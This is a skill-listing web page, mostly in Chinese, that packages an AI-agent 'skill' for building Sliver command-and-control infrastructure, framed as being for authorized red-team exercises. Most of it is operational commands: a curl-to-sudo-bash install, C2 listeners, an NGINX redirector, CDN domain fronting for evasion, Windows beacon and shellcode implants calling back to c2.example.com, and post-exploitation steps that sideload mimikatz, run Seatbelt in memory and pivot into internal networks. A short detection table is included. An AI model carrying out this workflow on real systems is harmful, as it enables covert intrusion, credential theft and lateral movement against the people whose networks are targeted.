building-c2-infrastructure-with-sliver-framework
使用 BishopFox 的 Sliver C2 框架构建和配置具备韧性的命令与控制(Command-and-Control)基础设施,包含重定向器(redirector)、HTTPS 监听器和多操作员支持,适用于授权红队(Red Team)演练。
Best use case
building-c2-infrastructure-with-sliver-framework is best used when you need a repeatable AI agent workflow instead of a one-off prompt.
使用 BishopFox 的 Sliver C2 框架构建和配置具备韧性的命令与控制(Command-and-Control)基础设施,包含重定向器(redirector)、HTTPS 监听器和多操作员支持,适用于授权红队(Red Team)演练。
Teams using building-c2-infrastructure-with-sliver-framework should expect a more consistent output, faster repeated execution, less prompt rewriting.
When to use this skill
- You want a reusable workflow that can be run more than once with consistent structure.
When not to use this skill
- You only need a quick one-off answer and do not need a reusable workflow.
- You cannot install or maintain the underlying files, dependencies, or repository context.
Installation
Claude Code / Cursor / Codex
Manual Installation
- Download SKILL.md from GitHub
- Place it in
.claude/skills/building-c2-infrastructure-with-sliver-framework/SKILL.mdinside your project - Restart your AI agent — it will auto-discover the skill
How building-c2-infrastructure-with-sliver-framework Compares
| Feature / Agent | building-c2-infrastructure-with-sliver-framework | Standard Approach |
|---|---|---|
| Platform Support | Not specified | Limited / Varies |
| Context Awareness | High | Baseline |
| Installation Complexity | Unknown | N/A |
Frequently Asked Questions
What does this skill do?
使用 BishopFox 的 Sliver C2 框架构建和配置具备韧性的命令与控制(Command-and-Control)基础设施,包含重定向器(redirector)、HTTPS 监听器和多操作员支持,适用于授权红队(Red Team)演练。
Where can I find the source code?
You can find the source code on GitHub using the link provided at the top of the page.
SKILL.md Source
# 使用 Sliver 框架构建 C2 基础设施
## 概述
Sliver 是由 BishopFox 开发的开源、跨平台对手模拟(adversary emulation)框架,使用 Go 语言编写。它为红队提供植入物(implant)生成、多协议 C2 信道(mTLS、HTTP/S、DNS、WireGuard)、多操作员支持以及丰富的后渗透(post-exploitation)能力。Sliver 支持信标(beacon,异步)模式和会话(session,交互式)模式,既适合长期潜伏行动,也适合交互式利用。架构良好的 Sliver 基础设施通过重定向器、域前置(domain fronting)和 HTTPS 证书来维持运营韧性并规避检测。
## 目标
- 在加固的云基础设施上部署 Sliver 团队服务器
- 配置 HTTPS、mTLS、DNS 和 WireGuard 监听器
- 为目标平台生成植入物(信标和会话)
- 在植入物和团队服务器之间设置 NGINX 或 Apache 重定向器
- 实施基于 Cloudflare 或 CDN 的域前置以混淆流量
- 使用基于证书的认证配置多操作员访问
- 为 C2 通信建立操作安全(OPSEC)控制措施
## MITRE ATT&CK 映射
- **T1071.001** - 应用层协议:Web 协议
- **T1071.004** - 应用层协议:DNS
- **T1573.002** - 加密信道:非对称加密
- **T1090.002** - 代理:外部代理(重定向器)
- **T1105** - 入侵工具传输
- **T1132.001** - 数据编码:标准编码
- **T1572** - 协议隧道
## 实施步骤
### 阶段一:团队服务器部署
1. 为团队服务器配置 VPS(例如 DigitalOcean、Linode、AWS EC2)
2. 加固操作系统:禁用 SSH 密码认证、配置 UFW/iptables、安装 fail2ban
3. 使用官方安装脚本安装 Sliver:
```bash
curl https://sliver.sh/install | sudo bash
```
4. 启动 Sliver 服务器守护进程:
```bash
systemctl start sliver
# 或以交互方式运行
sliver-server
```
5. 为团队成员生成操作员配置文件:
```bash
new-operator --name operator1 --lhost <team-server-ip>
```
### 阶段二:监听器配置
1. 使用合法 SSL 证书配置 HTTPS 监听器:
```bash
https --lhost 0.0.0.0 --lport 443 --domain c2.example.com --cert /path/to/cert.pem --key /path/to/key.pem
```
2. 配置 DNS 监听器作为备用 C2:
```bash
dns --domains c2dns.example.com --lport 53
```
3. 为高安全会话配置 mTLS 监听器:
```bash
mtls --lhost 0.0.0.0 --lport 8888
```
4. 配置 WireGuard 监听器以实现隧道访问:
```bash
wg --lport 51820
```
### 阶段三:重定向器设置
1. 部署独立 VPS 作为重定向器(位于目标和团队服务器之间)
2. 安装并配置 NGINX 作为反向代理:
```nginx
server {
listen 443 ssl;
server_name c2.example.com;
ssl_certificate /etc/letsencrypt/live/c2.example.com/fullchain.pem;
ssl_certificate_key /etc/letsencrypt/live/c2.example.com/privkey.pem;
location / {
proxy_pass https://<team-server-ip>:443;
proxy_ssl_verify off;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
}
}
```
3. 在团队服务器上配置 iptables 规则,仅接受来自重定向器的连接:
```bash
iptables -A INPUT -p tcp --dport 443 -s <redirector-ip> -j ACCEPT
iptables -A INPUT -p tcp --dport 443 -j DROP
```
4. 可选:在重定向器前面设置 Cloudflare 作为 CDN 层以实现域前置
### 阶段四:植入物生成
1. 生成 HTTPS 信标植入物:
```bash
generate beacon --http https://c2.example.com --os windows --arch amd64 --format exe --name payload
```
2. 为受限网络生成 DNS 信标:
```bash
generate beacon --dns c2dns.example.com --os windows --arch amd64
```
3. 生成用于注入的 shellcode 载荷:
```bash
generate --http https://c2.example.com --os windows --arch amd64 --format shellcode
```
4. 配置信标抖动(jitter)和回调间隔:
```bash
generate beacon --http https://c2.example.com --seconds 60 --jitter 30
```
### 阶段五:后渗透操作
1. 与活跃信标/会话交互:
```bash
beacons # 列出活跃信标
use <beacon-id> # 与信标交互
```
2. 执行后渗透模块:
```bash
ps # 进程列表
netstat # 网络连接
execute-assembly /path/to/Seatbelt.exe -group=all # 在内存中运行 .NET 程序集
sideload /path/to/mimikatz.dll # 加载 DLL
```
3. 设置枢纽(pivot)以访问内部网络:
```bash
pivots tcp --bind 0.0.0.0:9898 # 在被控主机上创建枢纽监听器
```
4. 使用 BOF(Beacon Object Files,信标对象文件)实现内存执行:
```bash
armory install sa-ldapsearch # 从 armory 安装
sa-ldapsearch -- "(objectClass=user)" # 执行 BOF
```
## 工具与资源
| 工具 | 用途 | 平台 |
|------|---------|----------|
| Sliver Server | C2 团队服务器和植入物管理 | Linux/macOS/Windows |
| Sliver Client | 团队成员操作员控制台 | 跨平台 |
| NGINX | 重定向器和反向代理 | Linux |
| Certbot | Let's Encrypt SSL 证书生成 | Linux |
| Cloudflare | CDN 和域前置 | 云端 |
| Armory | Sliver 扩展/BOF 包管理器 | 内置 |
## 检测特征
| 指标 | 检测方法 |
|-----------|-----------------|
| 默认 Sliver HTTP 头部 | 网络流量分析,查找异常 User-Agent 字符串 |
| 非标准端口上的 mTLS | 防火墙日志,监控到异常端口的出站连接 |
| 高熵 DNS TXT 记录查询 | DNS 日志分析,检测编码的 C2 流量 |
| 51820 端口上的 WireGuard UDP 流量 | 网络流量分析,检测 WireGuard 握手模式 |
| Sliver 植入物文件哈希 | EDR/AV 针对已知 Sliver 样本的特征匹配 |
## 验证标准
- [ ] 团队服务器已部署并通过防火墙规则加固
- [ ] HTTPS 监听器已配置有效 SSL 证书
- [ ] DNS 监听器已配置为备用 C2 信道
- [ ] 至少部署一个位于目标和团队服务器之间的重定向器
- [ ] 多操作员访问已配置唯一证书
- [ ] 已为目标操作系统生成植入物
- [ ] 信标回调间隔和抖动已配置以增强隐蔽性
- [ ] 后渗透模块已测试(进程列表、.NET 程序集执行)
- [ ] 枢纽功能已验证可访问内部网络
- [ ] 所有 C2 流量均已加密并通过重定向器传输Related Skills
triaging-vulnerabilities-with-ssvc-framework
使用 CISA 的利益相关方特定漏洞分类(SSVC)决策树框架对漏洞进行分类和优先排序,产出可操作的修复优先级:Track、Track*、Attend 或 Act。
tracking-threat-actor-infrastructure
威胁行为者基础设施追踪涉及使用被动 DNS、证书透明度日志、Shodan/Censys 扫描、WHOIS 分析和网络指纹技术,对对手控制的 C2 服务器、钓鱼域名和暂存服务器等资产进行监控、映射和持续追踪
scanning-infrastructure-with-nessus
Tenable Nessus 是业界领先的漏洞扫描器,用于识别网络基础设施(包括服务器、工作站、网络设备和操作系统)中的安全弱点。
implementing-infrastructure-as-code-security-scanning
本技能涵盖使用 Checkov、tfsec 和 KICS 等工具为基础设施即代码(IaC)模板实施自动化安全扫描。 内容包括在部署前检测 Terraform、CloudFormation、Kubernetes 清单和 Helm charts 中的配置错误, 建立基于策略的治理,以及将 IaC 扫描集成到 CI/CD 管道中以防止不安全的云资源配置。
exploiting-vulnerabilities-with-metasploit-framework
Metasploit Framework 是全球最广泛使用的渗透测试平台,由 Rapid7 维护,包含超过 2300 个漏洞利用模块、1200 个辅助模块和 400 个后渗透模块
conducting-cloud-infrastructure-penetration-test
针对 AWS、Azure 和 GCP 执行云基础设施渗透测试,使用 Pacu、ScoutSuite 和 Prowler 识别 IAM 错误配置、暴露的存储桶、不安全的无服务器函数和云原生攻击路径。
building-vulnerability-scanning-workflow
使用 Nessus、Qualys 和 OpenVAS 等工具构建结构化的漏洞扫描工作流, 对基础设施中的安全漏洞进行发现、优先级排序和修复跟踪。适用于 SOC 团队 需要建立定期漏洞评估流程、将扫描结果与 SIEM 告警集成,以及构建 修复跟踪仪表盘的场景。
building-vulnerability-exception-tracking-system
构建具有审批工作流、补偿控制文档和到期管理功能的漏洞例外与风险接受跟踪系统。
building-vulnerability-dashboard-with-defectdojo
部署 DefectDojo 作为集中式漏洞管理仪表盘,支持扫描器集成、去重、指标跟踪和 Jira 工单工作流。
building-vulnerability-aging-and-sla-tracking
实施漏洞老化仪表盘和 SLA 跟踪系统,根据基于严重性的时间线衡量修复绩效,并推动问责制落地。
building-threat-intelligence-platform
构建威胁情报平台(TIP)涉及将多个 CTI 工具部署和集成到统一系统中,用于收集、分析、富化和分发威胁情报,包括 MISP、OpenCTI、TheHive 和 Cortex 的开源工具集成。
building-threat-intelligence-feed-integration
构建自动化威胁情报(Threat Intelligence)源集成管道,将 STIX/TAXII 源、 开源威胁情报和商业 TI 平台接入 SIEM 和安全工具,实现实时 IOC 匹配和告警。 适用于 SOC 团队需要通过自动化源接入、标准化、评分和分发到检测系统来 将威胁情报付诸实践的场景。